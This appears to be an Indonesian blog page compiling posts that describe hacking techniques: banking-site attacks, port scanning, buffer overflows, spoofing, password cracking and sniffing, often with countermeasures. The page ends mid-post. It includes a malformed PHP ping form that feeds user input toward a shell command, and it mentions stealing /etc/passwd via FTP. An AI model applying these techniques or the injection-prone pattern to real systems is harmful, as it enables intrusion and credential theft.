About Me

Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Kamis, 11 September 2014

Cara mereka MEMBOBOL Internet Banking

saya memaparkan tentang pembobol ATM. Karena sedang marak pembobolan uang nasabah di bank, kali ini saya akan menjelaskan bagaimana seseorang meng-crack informasi di internet banking sehingga cracker mendapatkan data PIN dan saldo rekening korban. Berikut deskripsinya:


1. Teknik Session Hijacking
Dengan session hijacking, cracker menempatkan sistem monitoring/spyingterhadap pengetikan yang dilakukan pengguna pada PC yang digunakan oleh pengguna (user) untuk mengunjungi situs internet banking. Untuk mengatasi masalah ini pengguna sebaiknya menggunakan komputer yang benar-benar terjamin dan tidak digunakan oleh sembarang orang, misalnya komputer di rumah, kantor, dsb. Perhatikan gambar berikut tentang session hijacking
Tehnik session hijacking
Tehnik session hijacking
2. Teknik Packet Sniffing
Pada teknik ini cracker melakukan monitoring atau penangkapan terhadap paket data yang ditransmisikan dari komputer user ke web server internet banking pada jaringan internet. Cracker yang melakukan teknik ini terkenal juga dengan istilah MITM (Man In The Middle). Untuk mengatasi masalah ini perlu dilakukan enkripsi/penyandian paket data pada komputer client sebelum dikirimkan melalui media internet ke web server. Perhatikan gambar berikut tentang packet sniffing.
Tehnik session hijacking
Tehnik session hijacking
3. Teknik DNS Spoofing
Pada teknik ini cracker berusaha membuat pengguna mengunjungi situs internet banking yang salah sehingga memberikan informasi rahasia kepada pihak yang tidak berhak. Untuk melakukan tehnik ini cracker umumnya membuat situs internet banking yang mirip namanya dengan nama server ecommerce asli. Misalnya www.klikbca.com merupakan situs yang asli, maka hacker akan membuat situs bernama www.klik_bca.com, www.klikbca.org, www.klik-bca.com, www.klikbca.co.id. Dengan demikian ketika pengguna membuka alamat yang salah, ia akan tetap menduga ia mengunjungsi situs klikbca yang benar.
Untuk mengatasi masalah tersebut di atas dapat dipecahkan dengan melengkapi Digital Certificates pada situs asli. Dengan demikian meskipun cracker dapat membuat nama yang sama namun tidak bisa melakukan pemalsuan digital certificate. Pengguna atau pengunjung situs dapat mengetahui bahwa situs itu asli atau tidak dengan melihat ada tidaknyacertificate pada situs tersebut menggunakan browser mereka. Disamping itu webserver eCommerce harus dilengkapi dengan firewall yang akan menyaring paket-paket data yang masuk sehingga terhindar dari serangan Denial Of Service (DoS). Perhatikan gambar berikut tentang DNS Spoofing
Tehnik DNS Spoofing
Tehnik DNS Spoofing
4. Teknik Website Defacing
Pada teknik ini cracker melakukan serangan pada situs asli misalkan www.klikbca.com kemudian mengganti isi halaman pada server tersebut dengan miliknya. Dengan demikian pengunjung akan mengunjungi alamat dan server yang benar namun halaman yang dibuat cracker.
Untuk mengatasi masalah di atas server eCommerce perlu dikonfigurasi dengan baik agar tidak memiliki security hole dan harus dilengkapi firewall yang akan menyaring paket data yang dapat masuk ke situs tersebut. Perhatikan gambar berikut tentang website defacing.
Teknik Website Defacing
Dalam wawancaranya di Metro TV hari Minggu kemarin, pakar keamanan intermet mengatakan bahwa keamanan informasi situs internet banking di Indonesia masih pada tahap prinsip availability. Inilah yang membuat nasabah masih sangat rawan menjadi korban cracker. Sistem keamanan informasi (information security) memiliki empat prinsip yang sangat mendasar, yaitu :
1. Availability
Menjamin pengguna yang valid selalu bisa mengakses informasi dan sumberdaya miliknya sendiri. Untuk memastikan bahwa orang-orang yang memang berhak tidak ditolak untuk mengakses informasi yang memang menjadi haknya.
2. Confidentiality
Menjamin informasi yang dikirim tersebut tidak dapat dibuka dan tidak dapat diketahui orang yang tidak berhak. Sehingga upaya orang-orang yang ingin mencuri informasi tersebut akan sia-sia.
3. Integrity
Menjamin konsistensi dan menjamin data tersebut sesuai dengan aslinya. Sehingga upaya orang-orang yang berusaha merubah data itu akan ketahuan dan percuma.
4. Legitimate Use
Menjamin kepastian bahwa sumberdaya tidak dapat digunakan oleh orang yang tidak berhak.
READ MORE - Cara mereka MEMBOBOL Internet Banking

Aku Bukan Jagoan (Hacking Server)

Maraknya penjebolan Server pulsa kini lagi hangat2 nya ,hingga saya mencoba
membuat Thread khusus ini...
Minimnya pengguna Server tentang pengetahuan Security database ,Membuat para Hacker 
berpeluang berexperimen untuk membobol server pulsa ,baik bertujuan negative ataupun 
positif.( Black and White )

Memang dunia Hacker dan Cracker itu sangat asik dan juga menantang.
Bahkan sebelum saya terjun Full di bidang Develoypment Software,
Saya sering dan hobby sekali tentang dunia Crack dan Hack...
Saya yakin rekan2 sebagian juga begitu...

Dunia Hack dan Crack bisa di katakan Black dan White,tergantung fungsi dari Individu
tersebut..

Dikatakan White jika di gunakan untuk Test Security Server yang di Hack dan
memberitahukan ke si pemilik agar lebih meningkatkan keamanannya.
bisa di jadikan Proffesi untuk keamanan suatu lembaga atau Instansi tertentu
dengan Gaji yang sangat tingggi..

Dikatakan Black jika di gunakan untuk merugikan korban Hack..
( Musuh2 dalam businnes atau musuh dalam selimut..)


Asik dan menantang tapi di haruskan  teliti dan sabar..
jadi bukan hanya cara membuat Program saja yang yang harus teliti dan sabar.
Dunia Crack dan Hack juga di butuhkan Kesabaran untuk memecahkan tembok Security.

Disini saya ingin berbagi tips dan tools, guna agar rekan rekan bisa sedikit mengetahui 
tentang bagaimana dan cara Hacker bekerja dan Tool apa saja yang mereka gunakan.

Nah jika rekan rekan sudah mengerti dan mengetahui atau bahkan mempraktekannya,
harapan saya rekan rekan sudah tahu tentang  celah celah yang bisa di masuki hacker ,
Hingga rekan rekan bisa membuat Security Server atau web dengan lebih Kuat
.

Selain Teknik Hack,untuk selanjutnya secara bertahap saya akan menjelaskan juga 
tentang cara pengamanannya... Step by Step, tentu Info saya ini adalah hanya sekelas 
Newbie,tapi paling tidak harapan saya bisa sedikit membantu memberikan gambaran 
kepada rekan2 semua, terutama pemain Server Pulsa..


Beberapa Tool2 Perang yang di gunakan para Hacker :

1.Port Scanner = Di gunakan untuk mencari alamat atau IP Server.

2.Trate Route =  Menampilkan alamat IP dan letak Posisi Server

3.Whois = Digunakan untuk menampilkan Informasi pemilik Domain dan Informasi DNS.

4.Website Scanner = Di gunakan untuk pencarian Link

5.Wikto = mencari Link External dengan sistem Spyder dan mengetahui File Directory 
          dan File tertentu yang di jadikan sasaran

6.WhereIsIP = di gunakan untuk memeriksa alamat IP ,Email dan Web 

7.Chache Memory = Informasi yang di dapat dari Google ( Google Hacking )


Teknik Serangan Hacker
  1. Cek Port ( Port Scanning )
     yaitu dengan mengetahui status Port apakah terbuka atau tidak.
     Karena Port ini adalah salah satu jalan Utama Si Hacker untuk masuk
     ke Sistem atau Server.

     Untuk cara mengetahui Port terbuka atau tidak ,Hacker menggunakan Program Telnet
     yaitu dengan cara dan mengetik  = c:\Telnet You are not allowed to view links.Register or Login 80
     ( sesuaikan Nama web yang di cari )

 2. Cek System yang Aktif yaitu dengan ketik c:\>ping You are not allowed to view links.Register or Login
    bisa juga dengan menggunakan Software jadi yaitu Ping Scanner Pro
    ( Cek IP, Hostaname dan Status Server )
    atau membuat sendiri dengan php dengan perintah sourcode sbb:
 

        <from method="post" action=hack08_hasil.php">
         <p>Ping host : <input type="text" name="txthost" size=20" </p>
         <p><input type="submit" value="Submit" name=B1">
         <input type="reset" value="reset" name=B2"></p>
         </form>


        <?php
            $Host = $_POST["txthost"];
            echo  'ping $Host';
        ?>



 3. Jika Semua Informasi Di ketahui dan Port terbuka,maka akan dengan mudahnya
    Hacker Masuk ke Sistem atau Komputer target.Bisa menggunakan aplikasi Khusus,Trojan,
    atau SQL Injection.

Tentang Trojan dan SQL Injection akan saya bahas di bawah berikutnya..

Sebelumnya Saya akan membuatkan dan berbagi Contoh Program Aplikasi Sebagai tool  
Untuk Tekhnik Hack.Via PHP maupun Visual Basic. 
(Bagi rekan2 yang membutuhkan Sourcode nya bisa PM saya )

Untuk para master Lanjuuuut...
READ MORE - Aku Bukan Jagoan (Hacking Server)

Meretas Situs(Hacking)

Sudah tak bisa dipungkiri keberadaan hacker terutma Black Hacker sangat meresahkan, Hacking adalah cara yang digunakan hacker untuk sekedar menyampaikan pesan mereka atau malah bisa menjadi sumber mata uang dari hacker dengan membobol kartu kredit, manipulasi penarikan saldo dan banyak lagi. dan berikut adalah cara-cara yang digunakan hacker untuk meretas website
HTTPD Attacks Hack
Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.
HTTPD Buffer Overflow bisa terjadi karena hacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang hacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan hacker akses ke command prompt.
 

TCP/IP Sequence Stealing Hack Passive Port Listening and Packet
Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.
Port Scanning Hack

Melalui port scanning seorang hacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.
Selective Program Insertions Hack
Selective Program Insertions adalah serangan yang dilakukan ketika hacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.
Remote File System Attack Hack Protocol-protokol untuk tranportasi data –tulang punggung dari internet— adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. hacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.
Remote Command Processing Attacks

HackTrusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). hacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang hacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.




Proxy Server Attacks Hack Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.



Password Attacks Hack Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang hacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password.
Ketika seorang hacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, kracking dan sniffing.
DNS and BIND Vulnerabilities Hack
Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation).
E-mail Exploits Hack

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).
Fragmented Packet Attacks Hack Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol
Flooding & Broadcasting Hack Seorang hacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya menyerah.
Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang hacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.
Unix Finger Exploits Hack Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang hacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact.
Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.
FTP Attack Hack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau hacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang hacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang hacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang.
Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce attack (menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff informasi yang berada dalam sistem.
IP Spoofing Hack

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP hacker sehingga sasaran menganggap alamat IP hacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan hacker mempunyai IP address type A 66.25.xx.xx ketika hacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP hacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.
IP Spoofing terjadi ketika seorang hacker ‘mengakali’ packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat hacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh hacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para hacker.

sumber : http://irsyad32.wordpress.com/2012/12/04/cara-hacker-meng-hack-website/ - See more at: http://seperciktinta.blogspot.com/2013/02/inilah-cara-meretas-website-oleh-hacker.html#sthash.jl40BUdC.dpuf
READ MORE - Meretas Situs(Hacking)

Cara ‘Hacker’ Beraksi Brow


Anda masih ingat film Hackers? Dalam film tersebut dikisahkan bagaimana seorang remaja mengacaubalaukan berbagai sistem komputer perusahaan raksasa yang jahat, mengadakan duel hidup-mati di cyberspace, dan akhirnya menyelamatkan dunia.
Dalam dunia nyata, kejadiannya mungkin tidak seseram dan seheboh film di atas. Akan tetapi hacker, yang dikategorikan sebagai baik maupun buruk, pasti melakukan penyusupan, karena memang itulah aktivitas seorang hacker. Proses penyusupan dalam dunia hacker ini dapat dibedakan menjadi beberapa tahapan, antara lain mencari sistem komputer untuk dimasuki, menjelajahi sistem tersebut, termasuk mencari akses ke seluruh bagiannya dan membuat backdoor serta menghilangkan jejak.
Mencari Sistem Komputer


Sejak dulu, walaupun ketika itu tidak banyak komputer terhubung ke dalam jaringan, para hacker sudah mulai menampakkan diri. Ketika itu mereka mencari sistem dengan cara menghubungi nomor telepon yang dicurigai ada akses ke jaringan dengan modem. Biasanya yang menjadi sasaran adalah nomor telepon perusahaan besar yang kemungkinan besar memiliki akses jaringan.
Kemudian mereka menghubungi nomor-nomor telepon yang berdekatan sampai menemukan nomor yang memberikan sinyal carrier. Jika sinyal carrier ini ditemukan mereka merasa senang karena menemukan celah untuk menyusup ke komputer yang terhubung melalui modem dan line telepon. Walaupun melakukannya secara manual, lambat laun mereka sering melakukannya dengan program khusus yang disebut Prefix Scanner, Demon Dialer, atau War Dialer.Salah satu contoh dari program tersebut adalah ToneLoc.
Namun ketika Internet mulai mengglobal, dengan sebagian besar komputer sudah terhubung jaringan, para hacker semakin mudah mencari sasaran komputer host. Saat ini yang perlu dicari bukanlah komputernya, melainkan pintu masuk yang bisa dimanfaatkan dalam sistem komputer tersebut. “Pintu masuk” di sini adalah port, yaitu jalur-jalur keluar-masuknya data dari dan ke suatu komputer yang proses aksesnya disebut “port surfing”. Pencarian port yang dapat digunakan biasa dilakukan dengan program khusus yang disebut Port Scanner. Contohnya Rebellion, PortPro dan PortScanner (mampu memeriksa sekelompok alamat IP untuk mencari port yang terbuka). Di antara port yang sering terbuka adalah port 23 (telnet), port 43 (whois), port 79 (finger), dan port 25 (simple Mail Transfer Protocol).
Servis-servis yang sering terdapat ini kemudian dapat digunakan untuk mengumpulkan informasi lebih jauh tentang host yang akan dijadikan sasaran. Servis yang paling umum dipakai adalah finger.
Finger, servis yang umum bagi sistem operasi UNIX (meskipun sudah ada versi Windows-nya, misalnya Finger32) adalah perintah yang dapat menampilkan informasi mengenai seorang pemakai jaringan. Cara kerjanya sebagai berikut. Bila seseorang menjalankan program utiliti finger client (misalnya Finger32 tadi) untuk mencari keterangan tentang A di sistem B, misalnya, program finger client tadi akan mengirimkan permintaan ke finger daemon di sistem B.
Daemon dalam konteks ini bukanlah makhluk merah yang berekor dan bertanduk (dan di jidatnya ada angka 666), melainkan program yang ditempatkan sebagai “penunggu” port-port pada host di Internet. Daemon ini tugasnya menjalankan perintah dari luar secara otomatis, misalnya mailer daemon, finger daemon, dan sebagainya.
Finger daemon yang kemudian akan mengirimkan informasi yang diminta ke tujuan. Kelengkapan informasi yang diberikan bisa berbeda-beda, tergantung konfigurasi sistem yang digunakan. Informasi yang umum ditampilkan antara lain login name, waktu login terakhir, dan nama pemakai.
Contoh “konfigurasi servis finger yang tidak umum” telah dilakukan oleh beberapa staf Ilmu Komputer di Carnegie Mellon University beberapa tahun lalu. Ketika itu mereka menghubungkan komputer DEC 3100 yang menjalankan servis finger dengan sebuah otomat minuman dingin. Ini agar mereka bisa menggunakan perintah finger dari ruangan mereka masing-masing (ke coke@cs.cmu.edu) untuk mengetahui jumlah minuman yang masih ada, dingin/tidaknya, dan jenisnya tanpa datang dan melihatnya sendiri.
Finger juga bisa digunakan untuk melihat daftar pemakai dalam suatu sistem. Dalam hal ini, yang difinger adalah hostnya, bukan nama pemakai secara spesifik, seperti finger @host_sasaran.com
Perusahaan besar biasanya menonaktifkan finger daemon pada sistem mereka (dengan menyunting file /etc/inetd.conf) untuk menjaga keamanan jaringan mereka. Bila finger dilakukan pada sistem-sistem semacam ini, akan muncul pesan Connection Refused. Selain melakukan scanning terhadap port yang terbuka, juga bisa dilakukan scanning terhadap sistem secara umum. Biasanya untuk mengetahui jenis sistem operasi dalam komputer, tipe daemon, file share (NETBIOS pada sistem berbasis Windows).
Contoh program scanner komersial yang menscan kelemahan sistem secara umum adalah Internet Security Scanner, COPS, dan SATAN. Sebenarnya masih banyak program sejenis yang dibuat dengan tujuan membantu administrator sistem untuk menemukan celah-celah pada sistemnya (untuk kemudian diperbaiki). SATAN (Security Administrator Tool for Analyzing Networks) merupakan program yang diibaratkan pedang bermata dua, karena dapat dimanfaatkan orang yang hendak menerobos ke dalam sistem.
Seorang hacker juga bisa melihat jumlah server yang ada di balik suatu domain name dengan perintah whois. Bila di balik suatu domain name terdapat beberapa mesin/suatu jaringan, hacker juga akan berusaha melakukan pengumpulan informasi dan pemetaan terhadap jaringan tersebut. Misalnya dengan menggunakan perintah showmount, rpcinfo, melihat NFS export dari komputer-komputer yang menjalankan nfsd atau mountd untuk menemukan komputer-komputer yang memiliki hubungan “terpercaya” (trusted).
Pencarian komputer yang saling berhubungan bisa dilakukan dengan melihat situs Web dan dokumen yang disediakan host bersangkutan. Situs Web dan dokumen semacam ini umumnya memuat informasi tentang host lain yang “sekelompok” dengan host yang akan dimasuki. Beberapa perintah yang umum digunakan untuk eksplorasi tersebut biasanya hanya ada di UNIX. Namun sistem operasi Windows 95 dan Windows 98 juga menyediakan beberapa perintah TCP/IP yang cukup bermanfaat, misalnya arp, tracert, ping, netstat, nbtstat, dan sebagainya.
Menyusup dan Menyadap Password
Sesuai namanya, cara ini dilakukan dengan cara menebak kombinasi username dan password dalam sistem yang dijadikan sasaran. Dulu sekali, orang masih belum begitu sadar akan pentingnya password yang sulit ditebak, sehingga password mudah ditebak dengan cara manual. Sekarang, cara menebak password ini dilakukan dengan menggunakan program.
Prinsip dasar program pemecah password dengan cara ini cukup sederhana. Biasanya, hacker yang ingin menggunakan program tersebut terlebih dulu menyusun daftar kata yang sering digunakan orang. Bisa berupa nama aktor, nama tempat, dan sebagainya. Lalu, program pemecah password tersebut akan mencoba kombinasi dari kata-kata dalam daftar tersebut sampai mendapatkan kombinasi yang sesuai. Ada juga program yang mencoba seluruh kombinasi karakter yang mungkin, baik huruf, angka maupun karakter lain.
Metode ini disebut “brute forcing”. Beberapa program yang lebih baik, misalnya L0phtCrack, memiliki fasilitas untuk melakukan brute forcing maupun penebakan berdasarkan daftar kata.
Sampai sekarang, cara menebak password masih banyak dipakai, dan program-programnya banyak tersedia, baik untuk NT, UNIX maupun DOS. Misalnya saja program CrackerJack dan StarCrack. Program-program ini sebenarnya diciptakan untuk keperluan pengamanan sistem. Seorang administrator sistem biasanya memiliki beberapa program semacam ini, lengkap dengan seperangkat file daftar kata, untuk memastikan bahwa password-password dalam sistemnya benar-benar kuat dan tidak mudah dibobol.
Pada awalnya, penggunaan metode penebakan password memiliki ekses yang cukup jelek, yakni jumlah kegagalan login yang tinggi (akibat dari berbagai kombinasi yang salah) sebelum kombinasi yang sesuai ditemukan. Ini terutama terjadi pada penerapan metode brute forcing. Jumlah login yang gagal selalu dicatat dalam log system, dan log ini hampir pasti diperiksa administrator secara rutin. Sebagai akibatnya, administrator tahu bahwa suatu upaya pembobolan tengah berlangsung. Oleh karena itu, para hacker sekarang berusaha menggunakan teknik-teknik tertentu untuk menyalin file daftar password dari sistem sasaran ke komputer mereka sendiri, lalu mencoba memecahkannya dengan program penebak password saat off-line. Dengan demikian, kemungkinan terdeteksi menjadi lebih kecil.
Menyadap password dapat dilakukan dengan berbagai cara. Cara yang umum sekarang adalah dengan menyadap dan memeriksa paket-paket data yang lalu-lalang dalam suatu jaringan (lazim disebut “sniffing” atau packet monitoring). Sniffing atau mengendus biasanya dilakukan terhadap paket-paket data yang dikirim dalam bentuk teks biasa atau tidak terenkripsi.
Praktek sniffing yang lebih maju dibantu oleh sebuah protocol analyzer, yang untuk membaca paket data yang “dibungkus” protokol tertentu. Pemeriksaan paket-paket data dalam suatu jaringan sebenarnya adalah juga praktek yang bermanfaat di kalangan administrator sistem, untuk mengawasi gejala-gejala awal penyusupan. Namun, cara ini juga umum di kalangan hacker maupun penjahat komputer.
Sebuah program pemantau paket dapat ditugaskan untuk mencari paket-paket yang berisikan kata-kata kunci semacam “password”, “login” dan sebagainya, lalu menyalin paket tersebut untuk dianalisis hacker yang bersangkutan. Contoh program sniffer antara lain Netmon, EtherPeek, LanWatch, tcpdump. Kesalahan pada program juga dapat dieksploitasi oleh para calon penyusup.
Program-program versi awal maupun yang sudah cukup rumit seringkali memiliki bug yang dapat membuat program tersebut macet/crash, lalu “membuang” pemakainya ke sistem operasi. Program lapis luar (menjalankan servis untuk umum) yang “bermasalah” dan memiliki banyak perintah pengaksesan ke bagian dalam suatu jaringan dapat macet dan “melemparkan” seorang pemakai ke dalam jaringan bila program tersebut kebetulan “kumat”. Memori (stack buffer) sering menjadi titik lemah (dan sasaran utama hacker) dalam sistem-sistem demikian. Buffer overflow, misalnya pada server POP (Post Office Protocol) dengan qpopper dari Qualcomm, bisa digunakan untuk langsung mengakses direktori root.
Pada beberapa perangkat lunak lain, biasanya para hacker menciptakan kondisi buffer overflow untuk mendapatkan sebuah shell (sebagai hasil “proses anak”/child process) dalam sistem terproteksi, yang bisa digunakan untuk hacking lebih jauh. Kadangkala seorang hacker sengaja mengirimkan input data atau rangkaian perintah yang dirancang sedemikian rupa untuk mengeksploitasi kelemahan sistem ini.
Selain kesalahan pada programnya sendiri, seorang hacker bisa juga mencari kelemahan akibat kesalahan konfigurasi program. Misalnya pada anonymous FTP
(File Transfer Protocol), yang, bila tidak dikonfigurasi dengan benar, bisa dimanfaatkan untuk mengambil file-file penting (misalnya /etc/passwd). Hal yang mirip adalah pada tftp (Trivial File Transfer Protocol), daemon yang dapat menerima perintah transfer file tanpa adanya proteksi password. Contoh yang lebih tua lagi adalah eksploit PHF, yang dulu sering digunakan untuk menghack situs Web.
Cara lain yang cukup umum adalah dengan memanfaatkan script CGI (Common Gateway Interface). CGI adalah antarmuka yang memungkinkan komunikasi antara program klien dan server. Skrip CGI sebenarnya sering digunakan untuk pembuatan efek-efek pada Web page, tetapi dalam kaitannya dengan keamanan, sebuah skrip CGI juga memungkinkan akses file, penciptaan shell, maupun pengubahan file secara ilegal. Eksploitasi CGI ini sebenarnya bukan merupakan kesalahan pada bahasa penulisan scriptnya, tetapi merupakan teknik pemrograman yang cerdik (biasanya dengan manipulasi validasi input).
Selain memori dan penggunaan skrip, ada kalanya hacker menemukan cara untuk mengeksploitasi kelemahan yang muncul dari feature baru suatu program. Misalkan pada server berbasis Win32. Win32, yang mendukung dua macam penamaan file: penamaan yang panjang (misalnya namafilepanjang.com), dan penamaan pendek (namafi~1.com), yang berguna untuk menjaga kompatibilitas dengan sistem operasi lama.
Dalam kasus ini, kadang-kadang seorang administrator hanya memproteksi file berdasarkan nama pendeknya (pada contoh di atas, namafi~1.com). Bila hal itu terjadi, hacker bisa mengakali proteksi tersebut dengan mengakses file itu menggunakan nama panjangnya (namafilepanjang.com). Kelemahan lain yang umum dikenal adalah eksploitasi terhadap fasilitas file sharing (utamanya pada Windows NT). Fasilitas file sharing, bila dikonfigurasi dengan kurang baik, memungkinkan sebarang orang untuk mengakses data-data dalam komputer dengan mudah.
Di tingkat perangkat keras, evolusi perangkat keras juga menimbulkan berbagai celah baru. Beberapa perangkat keras jaringan modern, yang secara fisik bukan merupakan komputer, sebenarnya berisi komponen yang fungsinya menyerupai komputer. Misalkan saja printer. Beberapa printer berisi CPU SPARC, dan menjalankan sistem operasi UNIX (Solaris UNIX), sehingga secara teoritis memiliki user account sendiri, dan bisa dihack, sama seperti komputer biasa. (Tutang dan Gede Artha:http://www.geocities.com/hary_cahyono/hack002.htm)
READ MORE - Cara ‘Hacker’ Beraksi Brow

Dasar-dasar Meretas "Hack"

Dasar-dasar Meretas (Hack)


Pencurian password, pengambilalihan account, merupakan hal yang sering terjadi
di dunia cyber. Bukan hal yang sulit untuk   melakukannya,   namun banyak para
newbie yang terus saja bertanya-tanya.. “Bagaimana  cara  mendapatkan password
email orang lain?”

Untuk pertanyaan-pertanyaan itulah artikel ini ditulis, semoga  bisa  menambah
wawasan anda  dan membuka  pikiran  anda  tentang  betapa  pentingnya  menjaga
account saat berada di tempat-tempat rawan.
Ada banyak cara untuk  mendapatkan suatu password. Beberapa diantaranya  tidak
membutuhkan keahlian khusus.  Berikut adalah cara-cara yang  paling  umum  dan
paling sering digunakan:
[1]. Social Engineering
[2]. KeyLogger
[3]. Web Spoofing
[4]. Menghadang Email
[5]. Password Cracking
[6]. Session Hijacking
[7]. Menjadi Proxy Server
[8]. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser
[9]. Googling
[1]. Social Engineering
Social Engineering adalah  nama  suatu  tehnik  pengumpulan  informasi  dengan
